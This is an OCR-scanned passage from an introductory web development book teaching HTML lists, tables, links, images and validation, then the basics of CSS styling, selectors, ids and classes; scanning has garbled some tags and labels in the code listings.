to create a table for presenting information.

<td> Table Cell Creates a cell in a table row.

<th> Table Header Atable cell that's a heading.

<tr> Table Row Creates a row of a table.

<ul> Unordered List Related to <o1> and <1i> to create lists of
information.

When building a list, you have two choices of the type of list to create:

an ordered list or an unordered list. Ordered lists are used for things like
making an outline, while unordered lists make up pretty much every other
kind of list.

Listing 1-7 shows the HTML used to create a standard unordered list.

Listing 1-7: Creating an Unordered List

<!doctype html>

<html>

<head>

<title>An unordered list</title>

</head>

<body>

<ul>
<li>Pine</1i>
<li>Oak</1li>
<li>Elm</1i>

</ul>

</body>

</html>
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When viewed in a browser, this HTML results in a page like that in Figure 1-5.
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Figure 1-5:
An
unordered
list.

The unordered list created in Listing 1-7 uses the default styling for the list,
which adds bullets next to each item. You can also change the style of this
bullet or not include one at all using CSS. You learn more about CSS in the
next chapter.

Creating an ordered list means simply changing the <ul> element to <ol>.
Doing so looks like this:

<ol>
<li>Pine</1i>
<li>Oak</1li>
<1i>Elm</1li>
</ol>

When viewed in a browser, the bullets from the preceding example are
N\ replaced with numbers, as in Figure 1-6.

Other types of lists, such as definition lists, exist but aren’t covered here.
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1. Pine
2. Oak
3. Elm

Fi 1-6: Book II
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It’s time to create a page with a table. Follow these steps:

1. Open your text editor.
See the preceding exercise for more information on text editors.
2. In the text editor, create a new text document.

Most text editors will open with a blank or empty document to begin
with. If you have anything in the document, clear it out before
continuing.

3. Enter the following HTML:

<!doctype html>
<html>
<head>
<title>My First Web Page</title>
</head>
<body>
<hl>My Table</hl>
<table>
<tr>
<th>Airport Code</th>
<th>Common Name/City</th>
</tr>
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Figure 1-7:
The table
you created
for this
exercise.

<tr>
<td>CWA</td>

<td>Central Wisconsin Airport</td>

</tr>
<tr>
<td>ORD</td>

<td>Chicago O'Hare</td>

</tr>
<tr>
<td>LHR</td>

<td>London Heathrow</td>

</tr>
</table>
</body>
</htm>

4. Save the file as table.html.

Save the file, as you did for the preceding exercise, with a . html
extension. The file should be saved in your document root. Refer to the
preceding exercise or Book I for more information on finding your
document root if you haven’t already found it for that exercise.

5. View the file in your browser.

Open your web browser and type http://localhost/table.html into the
address bar. Doing so will show a page like the one in Figure 1-7.

- ==y
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My Table

Airport Code Common Name/City

CWA Central Wisconsin Airport

ORD Chicago O'Hare

LHR London Heathrow
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Notice that the table doesn’t have any borders around it. If you’d like to
add borders, keep working through this exercise. Otherwise, continue to
the next section.

Open table.html in your text editor.
If you closed your text editor, open it again and load table.html.
Change the code in table.html to the following:

<!doctype html>
<html>
<head>
<title>My First Web Page</title>
</head>
<body>
<hl>My Table</hl>
<table border="1">
<tr>
<th>Airport Code</th>
<th>Common Name/City</th>
</tr>
<tr>
<td>CWA</td>
<td>Central Wisconsin Airport</td>
</tr>
<tr>
<td>ORD</td>
<td>Chicago O'Hare</td>
</tr>
<tr>
<td>LHR</td>
<td>London Heathrow</td>
</tr>
</table>
</body>
</html>

Note that the only change is to add a space and then border="1"
within the <table> element.

Reload table.html in your browser.

If you closed your browser, reopen it and go to http://localhost/
table.html. If your browser is still open, press Ctrl+R to refresh the
page (Command+R on a Mac). You now see a border around the table,
as in Figure 1-8.
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Figure 1-8:
A table with
borders
around each
cell.
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My Table
Airport Code|| Common Name/City
CWA Central Wisconsin Airport]
ORD Chicago O'Hare
LHR [London Heathrow

SMBER

This is a rather primitive way to add a border to a table. A better way to
accomplish this task is by using CSS, which you learned about briefly in
Book I. Chapter 2 of this minibook covers CSS in much more detail, too.

When you added border="1" to the <table> element, you added
something called an attribute. An attribute helps to further describe or define
the element or provides additional details about how that element should
behave.

Including Links and Images on Your Web Page

What would the web be without links — and images too? Not much of web at
all. Links are the items that you click on inside of web pages to connect to or
load other pages, and when we talk about images, we mean both illustrations
and photos. This section looks at how to add links and also images to your
web page.

Adding links

Links are added with the <a>, or anchor element. The href attribute tells
the anchor element the destination for the link. The destination can be just
about anything, from another web page on the same site, to a different site,
to a document or file, to another location within the same web page. The
link itself can be added to just about anything on the page. For example, you
might link each of the trees mentioned in the previous section to articles
about each of those types of trees.

When something is linked, the browser typically gives visual feedback that
there’s a link by highlighting and underlining the linked area. You’ll see an
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example of this shortly. Like other HTML elements, the <a> element has a
corresponding closing </a> tag that is used to tell the browser when to stop
highlighting and underlining the link.

Linking to other pages
Linking to other pages, whether on the same site or at a different site, is
accomplished in the same way. For example, look at the following HTML:

<p>Here's a link to <a href="http://www.braingia.org">Steve
Suehring's site</a></p>

This line uses a paragraph element <p> to create a sentence, “Here’s a link
to Steve Suehring’s site.” This being the web, you decide to actually provide
a link so that visitors can click on certain words and be transported to that
page. You do so with the <a> element along with the href attribute. In this
case, the <a> element looks like this:

<a href="http://www.braingia.org">

The href attribute points to the URL http://www.braingia.org and is
enclosed in quotation marks. The text that will be highlighted then appears,
followed by the closing </a> tag.

Here’s an exercise for implementing this link.

1. Open your text editor.

You use your text editor to create a new file, so there should be nothing
in the text editor except a blank document or file.

2. In the text editor, place the following HTML:

<!doctype html>

<html>

<head>

<title>Link</title>

</head>

<body>

<p>Here's a link to <a href="http://www.braingia.
org">Steve Suehring's site</a></p>

</body>

</html>

3. Save the file as 1ink.html.
The file should be saved to your document root with the name 1ink.html.
4. Open your browser and view the page.

Open your web browser and point to http://localhost/link.html
by entering that URL into the address bar. You'll see a page like that in
Figure 1-9.
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Here's a link to Steve Suehring's site

Figure 1-9:

A page with

a link.
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& Always close <a> elements with a corresponding closing </a> tag. A frequent
mistake is to leave the <a> element open, resulting in all the text that follows
to be highlighted as a link.

The example and exercise show how to link to a page on a different website.
Creating a link to a page on the same site is accomplished in the same
manner, but rather than including the Uniform Resource Identifier (URID)
scheme and the hostname (the http://www.braingia.org part from this
example), you can just link to the page itself.
If you've been following along with previous exercises, then you should have
a page called table.html. Here’s HTML to create a link to table.html.
The preceding exercise’s HTML is included so that you can see the overall
context for the link:
<!doctype html>
<html>
<head>
<title>Link</title>
</head>
<body>
<p>A link to <a href="table.html">the table example</a></p>
</body>
</html>
Like before, the link is contained within a <p> element but note the href
attribute now points merely to table.html.

@‘“\NG! Avoid spaces in filenames and in web URLs in general. Spaces are generally

S not friendly to URLs, in filenames, or in images. Though they can be worked

around, you’ll have much more success if you always simply avoid spaces
when naming things for the web.
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Understanding absolute versus relative links

The link shown in the preceding example is
called a relative link because it does not begin
with either the Uniform Resource Identifier
(URI) scheme (http://) or a beginning front
slash (/). A relative link assumes that the
target (table.html in the example) is in
the same directory or folder as the document
or page from which it's linked. In the case of
the example, a relative link works because
the current page, 1ink.htm1l, and the page
being linked, table.html, both exist in the
document root.

If both pages were notin the same directory (in
other words, if table.html was in a folder
called tables in the document root and the
link.html file was in a folder called /inks

in the document root), then you would need to
create an absolute link. An absolute link tells
the server exactly where to look to find the
target. For example, an absolute link might look
like /tables/table.html. This link tells
the server that it needs to begin looking in its
document root for a directory called tables
and that it should then find a file called
tables.html inthe tables directory.

Use absolute links when you need to provide
exact or absolute references to the target
being linked. Use relative links when the
resource being linked will always be found
in the same place relative to the page linking
to it. If the location of the page or the target
changes, then relative links will stop working.

Linking within a page

Sometimes you want to link within the same page. You might do this on a
particularly long page, where you have a table of contents at the top and
then the full article lower down in the page.

Creating withinpage links uses the same <a> element that you've seen, this
time with the name attribute. Listing 1-8 shows HTML to create a within-page

anchor.

Listing 1-8: An In-Page Anchor

<!doctype html>
<html>

<head>
<title>Link</title>
</head>

<body>

<ul>

<li><a href="#pine">Pine</a></1i>
<li><a href="#oak">0ak</a></1i>
<li><a href="#elm">Elm</a></1i>
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A\\S

</ul>

<p><a name="pine">Pine trees are abundant in my yard.</a><p>
<p><a name="oak">There are a few oak trees in my yard.</a><p>
<p><a name="elm">There's one elm in my yard.</a><p>

</body>

</html>

In Listing 1-8, the href tags added to each of the list items use a pound or
hash sign (#). This is the key used to tell the browser that the resource will
be found on the same page. Then later on in the HTML you see another <a>
element, this time using the name attribute. That name attribute
corresponds to each of the href attributes from earlier in the page.

That’s it! There’s nothing more to adding in-page links. You merely need to
use the pound sign to indicate that the resource is found later on the page
and then use the name attribute to make another element match that.

Opening links in a new window

Sometimes you want to make a link open in a new tab or a new window.
When a visitor clicks a link that’s defined in such a way, the browser will
open a new tab and load the linked resource in that new tab. The existing
site will still be open in the visitor’s browser, too.

Don’t make every link open in a new window. You should do so only where
it makes sense, as might be the case where a visitor is in the middle of a long
process on your website and needs to link to reference another resource

or site, like a directory of ZIP codes or a terms of service agreement. Also,
whether the link opens in a new tab or a new window is dependent on the
browser; you can’t control it.

This can be done by adding the target attribute to your <a> element with
a special value, _blank. For example, an earlier example showed how to
create a link to Steve’s website, www.braingia.org. Recall that the link looked
like this:

<a href="http://www.braingia.org">Steve Suehring's site</a>

To make this link open in a new window, you add the target="_blank"
attribute/value pair to the element, so it looks like this:

<a href="http://www.braingia.org" target="_blank">Steve
Suehring's site</a>

You can try this out by opening the 1ink.html file from the earlier exercise
and adding target="_blank" as shown. Note the use of the underscore
preceding the word blank. When you save the file and reload that page
(Ctrl+R or Command+R), the link won’t look any different. However, clicking
the link will open a new tab (or new window, depending on your browser
and configuration).
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Animage on
a web page.
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Adding images

Images, such as photos or graphics, enhance the visual appeal of a web
page. Images are usually embedded in a page, such as shown in Figure 1-10,
where a photo of the cover of another of Steve’s books, MySQL Bible (John
Wiley & Sons, Inc.), is shown.
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MYSQL BIBLE

Publication Date: 2002
Role: Author

You can include images from anywhere, assuming that you have the legal
rights to do so. In other words, you can store the image on your web server
or you can include an image stored on someone else’s web server. (But we
repeat: First, make sure you don’t violate any copyright!)

There’s also another, special type of image, called a background image.
Background images provide the background for the page itself. Chapter 2 of
this minibook covers background images.

Referencing the image location

Images are added with the <img> element. Just as with the <a> element, the
<img> element uses an attribute to tell the browser more information about
itself. The src attribute is used to tell the browser where to find the image.
Earlier, in Figure 1-10, you see an image of a book cover. The HTML to bring
that image into the page looks like this:

<img src="images/books_mysglbible.gif">

As you can see, the <img> element adds the src attribute, which then
references where to find the image on the web server.
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You might notice that the <img> element doesn’t have a closing </ img> tag.
That’s because this element doesn’t have its own content, unlike the <p>
and <a> elements — which both need content to go within them and
therefore need to be closed. You may sometimes see an element like <img>
closed with /> instead of just >, as in the example. Both are acceptable and
valid ways to close this type of element.

The <img> element should always have an alt attribute. The alt attribute
tells search engines and assistive technologies about the image being used.
When used with an <img> element, the alt attribute looks like this:

<img src="images/books_mysglbible.gif" alt="MySQL Bible">

You should use a short description as the contents of the alt attribute.
Using something like “MySQL Bible was a great book and everyone should’ve
purchased one” doesn’t describe the image, but “MySQL Bible” does.

Choosing good web images

When choosing an image for the web you need to look at more than just
making sure no one blinked when the photo was taken. You should also
consider the image’s height and width, the size of the file, and its format.
Web browsers can view images formatted in numerous formats, including
JPG, GIF, and PNG, as well as several others.

The height and width of the image are up to you and depend on the needs of
your page. For example, Steve needed a special sized file in order to display
the MySQL Bible book cover. He used image manipulation software in order
to resize the image for his needs. Many image manipulation and image
processing software programs are available. Adobe Photoshop and Gimp are
among the most popular ones.

File size is arguably one of the most important aspects for your consideration
when choosing an image. When you include large images, such as those
taken at the high-quality setting with your digital camera, visitors have to
download the file, which can take an extraordinarily long time depending on
the speed of the visitors’ connection. If they’re visiting from a dial-up modem
or slower connection, then an image that’s 4 megabytes (MB) may take

20 minutes to load! This is also true with today’s mobile devices, on which
the speeds may be slower and a visitor using such a device may have to pay
data download fees.

To get around this, you can resize your images using the aforementioned
software. Resizing images to under 100 kilobytes (KB) is important. Another
important aspect to consider is the sum of all images on the page. For
example, if you have 15 images at 100KB each, then you're requiring the
visitor to download 1.5MB worth of images — which is likely too much for
many visitors. If the page seems slow to load, they may go elsewhere rather
than wait.
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When you’re choosing an image format, know that if you choose one of the
three formats mentioned earlier (JPG, GIF, and PNG), you ensure that the
widest possible audience can view the image without needing special
software to do so.

Keep the sum of all images in mind when sizing the images for your page so
that the page downloads faster for the visitor.

Creating a page with an image
It’s time to create a page with an image so that you can see how and where
an image fits within the larger whole of an HTML page. Follow these steps.

1.

2.

Open your text editor.
See the previous discussion about text editors.
In the text editor, enter the following HTML.

<!doctype html>

<html>

<head>

<title>A snowy picture</title>

</head>

<body>

<hl>A snowy picture</hl>

<p><img src="snow.Jjpg" alt="Early November Snow"></p>
</body>

</html>

When you create this HTML you need to use a photo or other picture of
your own or you can use the snow. jpg file included in the companion
content of this book. Regardless of the picture you choose, you need to
place the file in the document root of the web server (discussed in Book
D). Also, make sure that case (uppercase and lowercase) for the filename
matches what you put in the src attribute. In other words, if your picture
is called TheKids . JPG, then the src attribute should be "TheKids.JPG".

Save the file as image.html.

Save the file exactly as named, using lowercase throughout the name.
The file should be saved to your document root, which is discussed in
Book I. The document root location depends on how you’ve installed
Apache and on what type of system you’re using. If you're using a
hosting provider, then this is the point where you upload the file to that
host provider’s system.

Open your web browser to load the page.

In the web browser, point to http://localhost/image.html. When
you do so, you'll see a page like Figure 1-11.
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Figure 1-11:
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This HTML used an <img> element to load a photo called snow. jpg from
the current directory. In other words, snow. jpg was in the same directory
as the image.html page on the web server.

Avoid spaces in image filenames, just as you would for regular files and
other URLs. Remember also that URLs, files, and images are case sensitive.

Writing Valid HTML

When you create a web page with HTML, there are certain rules to follow

in order to make sure that web browsers can read and display the page
correctly. HTML and its rules are discussed in the first minibook included in
this guide. The current version of the HTML specification is HTML version 5,
known simply as HTMLS5.

The process of validating a page means that a specialized website examines
the HTML code that you write and compares it to the specification for that
version of HTML. In the case of the HTML that you’re writing for this book
you are using HTML5.

The website used to validate HTML is called the W3C Markup Validation
Service (frequently called the W3C Validator) and is operated by the World
Wide Web Consortium (W3C). The W3C Validator is found at http://
validator.w3.org and is free to use. Figure 1-12 shows the W3C Validator.


http://validator.w3.org/
http://validator.w3.org/

Figure 1-12:
The W3C
Markup
Validation
Service,
sometimes
simply
called the
Validator.
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Validate by URI

Validate a document online:

Address:

» More Options
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This validator checks the markup validity of Web documents in HTML, XHTML,
SMIL, MathML, etc. If you wish to validate specific content such as RSS/Atom

feeds or CSS stylesheets, MobileOK content, or to find broken links, there are other i

Validate your HTML in one of three ways:

4+ Providing a URL: You can enter a URL into the Validator and it will
automatically retrieve the HTML at that URL and attempt to validate it.
In order for the Validator to retrieve your HTML using this method, the
page needs to be available to the public. This is usually not the case
when you'’ve installed a web server on your computer, as discussed in
this book. If you're using an external hosting provider, then your site
and pages may be available to the Internet. In that case, you can enter
the URL in the “Validate by URI” address box.

4+ Uploading a file: You can upload a file using the “Validate by File
Upload” option. Using this method, you choose a file on your computer.
That file is then uploaded to the Validator.

4+ Pasting HTML into the Validator: This means copying the HTML from
your text editor and pasting it into the “Validate by Direct Input” tab in
the Validator. This option is typically the fastest and easiest method and
it’s the one that we show in this section.

Validating Vour HTML

If you've followed the exercises in this chapter, then you've built some
HTML. The next exercise uses the W3C Validator to make sure that the
HTML you’ve written is valid according to the HTML5 specification. Follow
these steps:

1. Open firstpage.html using your text editor.
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Figure 1-13:
Pasting
HTML

into the
Validator.

This page was the first one you created in this chapter. However, if you
skipped that exercise, open any one of the HTML files that you created
in this chapter.

. Highlight/select all the HTML in the open file.

Use your mouse or pointing device to highlight all the HTML or press
Ctrl+A on Windows or Command+A on Mac.

. Copy the HTML to your clipboard.

Select Copy (found in the Edit menu in most text editors) or press Ctrl+C
on Windows or Command+C on Mac to copy the highlighted HTML to
the clipboard.

. Open your web browser and navigate to the W3C Validator.

With the browser open, type http://validator.w3.org in the address or
location bar in the browser and press Enter to go to the Validator.

. Select Validate by Direct Input.

The Validate by Direct Input tab will be used to paste in the code in your
clipboard.

. Paste the HTML into the Validator.

Press Ctrl+V on Windows or Command+V on Mac to paste the HTML
from the clipboard into the Enter the Markup to Validate box on the
Validator page. If you're using the HTML from firstpage.html, your
screen should look similar to that in Figure 1-13.

. Click Check.

Click the Check button on the Validator page to run the validation of
your HTML. You should receive a page similar to that in Figure 1-14.
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Validate by URI Validate by File Upload Validate by Direct Input

Validate by direct input

Enter the Markup to validate
<ldoctype heml>
<neml>

<head>
<titlesMy First Web Page</title>
</head>

<body>

<hl>My web page!</hl>

<p>Hello world, welcome to my web site</p>
</body>

</html>

» More Options
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Figure 1-14: Result: Passed
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Notice the three warnings in this validation. Scrolling down reveals that one
of the warnings is that the HTML5 validator is actually experimental at this
time, though that may change by the time you read this. The other two
warnings are related to language settings.

<P It’s good practice to include the character encoding, which helps the

browser determine how to read the document, including what lan-
guage is used for the HTML and the page. See http://www.w3.org/

International/tutorials/tutorial-char-enc/#S1ide0250 for

more information on character encoding.
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Chapter 2: Adding Style with CSS

In This Chapter

v+ Finding out what styling the page means
1 Exploring different methods of using CSS
v Selecting certain elements for styling

+ Changing fonts and adding borders

v~ Adding list styles

v Modifying backgrounds

+* Working with layout

v~ Adding a header and footer

In the preceding chapters, you learn a little about a lot and a lot about a
few things. Namely, you learn how to install a web server and a database
system and you learn a little about HTML. Although HTML is used to add
text to a page, that text is pretty boring; it needs some style. Enter CSS.

In this chapter, you learn what Cascading Style Sheets (CSS) is and how to

use it for various layout and style purposes. We recommend that you work
through the chapter from beginning to end, because some exercises build

on previous exercises.

Discovering What CSS Can and
Can’t Do for Your Web Page

This section looks at CSS from a high level to give you a foundation on
which you’ll learn how to use CSS on your website.

What is CSS?

CSS complements HTML by providing a look and feel to web pages. The
HTML pages you created in the preceding chapter looked fairly plain, with
a default font and font size. Using CSS, you can spice up that look, adding
color and background images, changing fonts and font sizes, drawing
borders around areas, and even changing the layout of the page itself.
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CSS has its own language, separate from HTML, but you wouldn’t use CSS
without the HTML page. In other words, although HTML can stand on its
own and present a page to a browser, CSS can’t. You wouldn’t write a CSS
page. Rather, you write HTML and then use CSS to help style that page to get
it to look like you want it to.

Like HTML, CSS is defined by specifications, with the latest being CSS
version 3, known as CSS3.

Why use CSS?

Before CSS, an HTML developer changed fonts and colors by changing
attributes on each element. If the developer wanted all the headings to look
a certain way, he had to change each of those headings. Imagine doing this
on a page with ten headings, and then imagine doing it on 50 pages. The task
quickly becomes tedious. And then think of what happens when the site
owner decides she wants all the headings changed back to the original way.

CSS alleviates this burden of individually updating elements and makes it so
that you can apply one single style across one or more elements. You can
apply multiple styles to the same element, and you can target a certain style
down to the individual element. For example, if you want all headings to be
bold font but a certain heading should have italic, you can do that with CSS.

Use CSS to make changes to the layout, look, and feel of a web page. CSS
makes managing these changes easy.

Limitations of CSS

CSS isn’t without limitations. The primary limitation of CSS is that not all web
browsers support CSS in exactly the same way. One browser might interpret
your layout in a slightly different manner, placing items higher or lower or in
a different place entirely.

Also, older browsers don’t support newer versions of CSS, specifically the
CSS3 specification. This means that those browsers can’t use some of the
features of the CSS3 specification. To get around this, you can use older
versions of the specification that are more widely supported by those older
browsers.

The key when using CSS and, as you see later, when using JavaScript, is to
test across multiple browsers. Web browsers such as Firefox, Chrome, and
Safari are all free downloads, and Microsoft offers software called the Virtual
PC for Application Compatibility, which are free, time-limited, versions of
Windows that include older versions of Internet Explorer. You can run them
inside of Microsoft’s free Virtual PC emulation software. By testing in other
browsers, you can see how the site will look in those browsers and correct
layout issues prior to deploying the site to the Internet.
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Always test your pages in multiple browsers to ensure that they look and act
like you intended.

Connecting CSS to a Page
You can add CSS to a page in a few different ways:
4 Directly to an HTML element

4 With an internal style sheet
4 With an external style sheet Book Il
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The most reusable way to add CSS to a page is by using an external style
sheet, but the simplest is to add styling information directly on an element.
We show each of these methods.

Adding styling to an HTML element

You add style to just about any HTML element with the style attribute, as in
this example that makes all the text in the first paragraph into bold font:

SS)
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<p style="font-weight: bold;">All of this text will be
bold.</p>

When viewed in a browser the text is bold, as shown in Figure 2-1.
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All of this text will be bold.

None of this text will be bold

Figure 2-1:
Bold text
styled
with CSS.

In Figure 2-1, the paragraph with bold text appears above a normal
paragraph. That normal paragraph doesn’t use CSS for styling.
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When a style is applied within an HTML element, it’s called an inline style or
inline CSS.

Here’s an example that you can try. You build some HTML first and then
begin to add styling to it.
1. Open your text editor.

Create a new blank file. See Chapter 1 of this minibook for more
information on text editors and creating a new text document.

2. Within the blank text document, place the following HTML:

<!doctype html>

<html>

<head>

<title>A CSS Exercise</title>
</head>

<body>

<div>This is my web page.</div>

<div>
This is the <span>nicest</span> page I've made yet.
</div>

<div>Here is some text on my page.</div>

</body>
</html>
3. Save the file as css.html.

Within the text editor, save the file using the name css.html, making
sure there are no spaces or other characters in the filename. The file
should be saved within your document root.

4. Open your web browser and view the page.

Within the web browser’s address bar, type http://localhost/css.html
and you’ll see a page similar to that shown in Figure 2-2.

5. Close the browser.
Now that you've verified that the page is working, close the browser.
6. Switch to the text editor to edit the HTML.

Within the text editor, edit the HTML from Step 2 to add CSS. If you
closed the file, reopen it in your text editor.



Figure 2-2:
Creating a

simple web
page.
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This is my web page.
This 1s the nicest page I've made vet
Here is some text on my page.

7. Change the HTML to add two different style attributes, as shown here:

<!doctype html>

<html>

<head>

<title>A CSS Exercise</title>

</head>

<body>

<div style="font-weight: bold;">This is my web page.</
div>

<div>
This is the <span style="font-style:
italic;">nicest</span> page I've made yet.
</div>

<div style="font-weight: bold;">Here is some text on my
page.</div>

</body>
</html>

8. Save the file.

You can save it as css.html or save it as css2 . html if you don’t want
to overwrite your original css.html file. The file should be saved in
your document root.

Book |
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Figure 2-3:
Adding
inline styles
to the
HTML.

9. Open your web browser and view the page.

Typing in http://localhost/css.html (or css2.html if you saved it as css2.
html) reveals the file, now with inline styles applied to two areas. This is
illustrated in Figure 2-3.
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This is my web page.
This is the nicest page I've made vet.
Here is some text on my page.

This exercise created an HTML file that used both <div> and <span>
elements. The HTML was then styled using inline styles. The inline styles
adjusted both the font-weight and the font-style to create bold text
for two elements and italic text for one element.

When used with CSS, font-weight and font-style are known as properties.
These properties are then given values, such as bold and italic. When you
see terminology that a CSS property was changed, you know that the
property is the name and that the value is what to change that property to.

Using an internal style sheet

Applying styles to individual elements quickly becomes cumbersome when
you have a large web page. As you see in the preceding exercise, in order
to make the text of the two <div> elements bold you needed to add a style
attribute to each of the <div> elements. Luckily, there’s a better way.

You can create a special area of the web page to store styling information.
This styling information is then applied to the appropriate elements within
the HTML. This alleviates the need to add a style attribute to each element.
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You add internal styles within the <head> portion of a web page using the
<style> element. Listing 2-1 shows HTML with a <style> element.

Listing 2-1: Using an Internal Style Sheet

<!doctype html>
<html>
<head>
<title>A CSS Exercise</title>
<style type="text/css">
div {
font-weight: bold;
}

span {
font-style: italic;
}
</style>
</head>
<body>
<div>This is my web page.</div>

<div>
This is the <span>nicest</span> page I've made yet.
</div>

<div>Here is some text on my page.</div>

</body>
</html>

The page adds an internal style sheet to add a bold font to <div> elements
and an italic styled font to all <span> elements in the page.

<style type="text/css">
div {
font-weight: bold;
}

span {
font-style: italic;
}
</style>

The <style> element uses a type attribute to tell the browser what type of
styling information to expect. In this case, we're using text/css type
styling. Notice also the closing tag, which is required.
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Figure 2-4:
Using an
internal
style sheet.

When this page is viewed in a browser, it displays like that in Figure 2-4.
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This is my web page.
This is the ricest page I've made yet.
Here is some text on my page.

Look closely at Figure 2-4; notice the slight difference with the display from
Figure 2-3. In Figure 2-3, the second line (“This is the nicest page I've made
yet.”) is not bold, but the line appears in a bold font in Figure 2-4.

This difference is present because the internal style sheet targets all <div>
elements in the page rather than just the specific ones that were changed
with the inline style method shown earlier. The next section, “Targeting
Styles,” shows how to fix this.

Using an external style sheet

You’'ve seen how inline styles, adding styling information to each element
individually, can become tedious. You then saw how to use an internal
style sheet to create styling information for the page as a whole. But what
happens when you have 10 pages or 100 pages, all needing styling?

You can use external style sheets to share CSS among multiple pages. An
external style sheet, just another type of text document, can be included on
every page. The browser reads this external style sheet just as it would read
styles applied within the page itself, and applies those styles accordingly.

You add or include an external style sheet with the <1ink> element, which
goes in the <head> area of an HTML page.
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A typical <1ink> element to add CSS looks like this:
<link rel="stylesheet" type="text/css" href="style.css">

That’s it. That line includes a file called style.css in the current directory
and incorporates it into the page. All the <style> information and inline
styling can be removed in place of that one single line in the <head> section
of the page.

Inside the external style sheet are the rules to apply — and only the rules to
apply. You don’t need to include the style attribute or even an opening or
closing <style> element within an external style sheet. Looking back at the
example in Listing 2-1, the external style sheet would contain only this
information:
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div {
font-weight: bold;
}

span {
font-style: italic;
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}

Now that external style sheet can be shared among multiple HTML files.
If you need to make a change to styling, you need to edit only the one CSS
file, and it automatically applies the styles to all the pages that use that CSS
file. As you can see, external CSS files make maintenance of websites much
easier.
» External style sheets are the recommended method for using CSS, and with
only a few exceptions, the remainder of the book uses CSS included from an
external style sheet.

Targeting Styles

Recall the problem identified earlier, where the bold font was applied to all
the <div> elements on the page, when you might not necessarily want to
apply it to all those elements. You can fix that problem by targeting or
narrowing down the scope of the CSS rule using a more specific selector.

CSS uses selectors to determine the element or elements to which a rule will
be applied. In the internal style sheet example earlier in this chapter, the
selector was the <div> element, or all <div> elements on the page. In this
section, we tell you how to select specific elements, and groups of elements,
so that you can apply CSS styles to them.
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Selecting HTML elements

Most any HTML element can be the target of a selector, even things like the
<body> element. In fact, the <body> element is frequently used as a selector
in order to target page-wide styles, such as what set of fonts to use for the
page. You see an example of this in the next section, “Changing Fonts.”

You've already seen examples using HTML elements as selectors. You
simply use the element name, with no brackets around it. Instead of <div>
as it would be in HTML, you use div when using it as a CSS selector. Here’s
what that looks like:

div {
font-weight: bold;
}

As you can see, the name of the element, div, is followed by a brace. This
indicates that the rule is beginning. Within the opening and corresponding
closing brace, the property, font-weight, is selected, followed by a colon
(:). The value is then set to bold. The line is terminated with a semicolon
(;). This semicolon tells the browser that the line is done; in other words,
the property/value pair are closed.

Multiple properties can be set in the same selector. Taking the preceding
example, you could change the font’s style to be both bold and italic, like
this:

div {
font-weight: bold;
font-style: italic;
}

Each line is ended with a semicolon, and the entire rule is enclosed in
opening and closing curly braces.

Selecting individual elements

What you’ve seen so far in this section is that you can target all HTML ele-
ments by simply using their names. You've been seeing examples of that
throughout the chapter. But what happens when you want to target one, and
only one, element on a page? That’s where the id selector comes into play.

The id (short for identifier) enables you to select one and only one element
within a page. To do so, you need to modify the HTML to add an id attribute
and provide a name for that element. For example, consider an HTML like
this:

<div>Steve Suehring</div>
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If you want to apply a bold font to that element, you could select all <div>
elements but that would likely also apply a bold font to other <div>
elements on the page, as you've already seen. Instead, the solution is to add
an id to that particular <div>, like so:

<div id="myName">Steve Suehring</div>

The id’s value is set to myName. Note the case used in this example, with an
uppercase N. This case should be matched in the CSS.

To select this 1d within the CSS, you use a pound sign or hash character (#),
like so:

#myName

With that in mind, making the #myName id bold looks exactly like the
examples you've already seen, just substituting #myName for div:

#myName {
font-weight: bold;
}

Always match the case that you use in the HTML with the case that you use
in the CSS. If you use all uppercase to name the ID in the HTML, then use all
uppercase in the CSS. If you use all lowercase in the HTML, use lowercase
in the CSS. If you use a combination, like the example, then match that
combination in the CSS.

When using IDs in HTML, it’s important to realize that the ID should be used
once and only once across an entire page. It’s fine to use the same ID in
different pages, but the ID should appear only once within a page.

We can hear your protest now: “But what if [ need to apply the same style to
more than one element?” That’s where a CSS class comes in.

Selecting a group of elements

You've learned how to target HTML elements across a page and you've
learned how to target just one individual element. A CSS class is used to
select multiple elements and apply a style to them.

Unlike the selection that occurs when you select all <div> elements, a CSS
class is applied only to the specific elements that you choose. The HTML
elements don’t even need to be of the same type; you can apply the same
CSS class to a <div>, to an <img> tag, and to a <p> element alike.
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2 Targeting Styles

CSS comments

Within the CSS rule shown nearby, there's a
comment: /* CSS Goes Here */.Just
like in HTML where you can use comments to
help explain a certain piece of code, so too can
you use comments in CSS to help explain the
CSS. Like HTML comments, comments in CSS
are not visible in the output of the page but,

also like HTML comments, CSS comments are
viewable by viewing the source of the HTML or
CSS document itself. This means that visitors
can see the comments too!

Comments in CSS are opened with /* and
closed with * /. Everything appearing between
/* and */ is treated as a comment.

\3

Like an id, a class is applied first to the HTML elements with an attribute.
The attribute is the aptly titled class, as in this example:

<div class="boldText">This text has a class.<div>

As in the id example, the class is also case sensitive. The case used in the
HTML should match that in the CSS.

Whereas an ID selector uses a pound sign (#) in the CSS, a class uses a single

period or dot. In the preceding example, where the class is named boldText
in the HTML, it would be referenced like this in the CSS:

.boldText {
/* CSS Goes Here */
}

In this example, the class boldText is selected.

Classes can be used to solve the problem discovered earlier in Figure 2-4 (in
the “Using an internal style sheet” section), where the bold font was applied
to all the <div> elements because the CSS used the div selector. You can
use a class in the HTML to target only those elements that you want to

target.

It’s time to test that theory. Follow these steps.

1. Open a text editor.

2. Open css.html.

Open the file that you created in a previous exercise. You may have

named it css2.html.




3.

4.
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Make changes to css.html to remove the CSS.
The page should look like this:

<!doctype html>

<html>

<head>

<title>A CSS Exercise</title>

<link rel="stylesheet" type="text/css" href="style.
css">

</head>

<body>

<div class="boldText">This is my web page.</div>

<div>
This is the <span>nicest</span> page I've made yet.
</div>

<div class="boldText">Here is some text on my page.</
div>

</body>
</html>
Save the file.

You can save it as css.html or rename it to css3 . html. Save the file in
your document root.

Create a new empty text file.
Using your text editor, create a new empty file.
Place the following CSS in the file.

.boldText {
font-weight: bold;
}

span {
font-style: italic;
}

Save the file.

Save the file as style.css within your document root. Note that you
should ensure that the file is named with all lowercase and has the
correct file extension, .css.

Open your browser and view the css.html file.

Type http://localhost/css.html in the browser’s address bar. If you save
the file as css3 .html, then use that instead of css.html. The output
should look like that in Figure 2-5.
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Figure 2-5:

A page with
an external
style sheet.
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This is my web page.
This 1s the nicest page I've made vet.
Here is some text on my page.

Notice that the page in Figure 2-5 looks exactly like Figure 2-3. That’s what
we hoped would happen! This exercise implemented an external style sheet
and used a CSS class to target the bold font-weight to only those elements
that we wanted to be bold.

Changing Fonts

So far you've seen a good amount of changing font weight to make fonts
appear bold and a little about font styling to make the font appear in italics.
However, you can do a lot more with fonts on the web using CSS, including
choose a font family and select font sizes and color.

